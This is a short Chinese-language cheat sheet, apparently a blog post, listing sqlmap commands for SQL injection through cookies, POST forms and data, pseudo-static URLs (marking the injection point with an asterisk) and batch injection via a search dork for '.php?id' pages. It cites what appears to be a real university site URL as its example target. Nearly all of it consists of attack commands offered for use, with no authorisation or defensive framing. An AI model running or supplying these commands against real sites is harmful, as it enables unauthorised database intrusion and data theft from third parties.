SQLmap三种注入方式

COOKIE注入:

sqlmap -u "url" --cookie "id=9" --table --level 2

 

POST注入:

方式一:

sqlmap -u "url" --forms

 

方式二:

sqlmap -u "url" --data "username=1&password=1"

 

伪静态注入

http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html,在是注入点的参数后面加一个*

 

批量注入

sql -g inurl:.php?id

 

 

你可能感兴趣的:(sql注入)